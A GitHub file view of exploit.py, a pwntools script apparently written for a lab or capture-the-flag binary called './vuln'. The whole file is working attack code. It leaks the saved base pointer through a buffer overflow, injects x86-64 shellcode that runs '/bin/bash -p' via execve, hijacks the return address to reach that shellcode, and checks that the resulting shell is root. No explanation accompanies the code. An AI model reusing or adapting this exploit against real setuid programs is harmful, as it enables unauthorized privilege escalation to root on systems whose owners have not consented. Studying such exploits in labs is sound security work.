-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
executable file
·49 lines (39 loc) · 1003 Bytes
/
exploit.py
File metadata and controls
executable file
·49 lines (39 loc) · 1003 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *
context.log_level = "error"
context.arch = "amd64"
def exploit(p, elf):
buffer_size = 0x100
rsp_offset = 272 # obtained with gdb
payload1 = b"A"*buffer_size
p.send(payload1)
rbp = u64(p.recvline().strip()[buffer_size:].ljust(8, b"\x00"))
buffer_addr = rbp - rsp_offset
shellcode = asm("""
xor rax, rax
push rax
lea rax, [rip + arg1]
push rax
lea rax, [rip + bin_bash]
push rax
mov rdi, rax
mov rsi, rsp
mov rdx, 0
mov rax, 59
syscall
bin_bash:
.string "/bin/bash"
arg1:
.string "-p"
""")
payload2 = shellcode.ljust(buffer_size, b"\x00") + p64(rbp) + p64(buffer_addr)
p.send(payload2)
p.recvline()
p.sendline(b"whoami")
assert(b"root" in p.recv())
def main():
elf = ELF("./vuln")
p = process("./vuln")
exploit(p, elf)
if __name__ == "__main__":
main()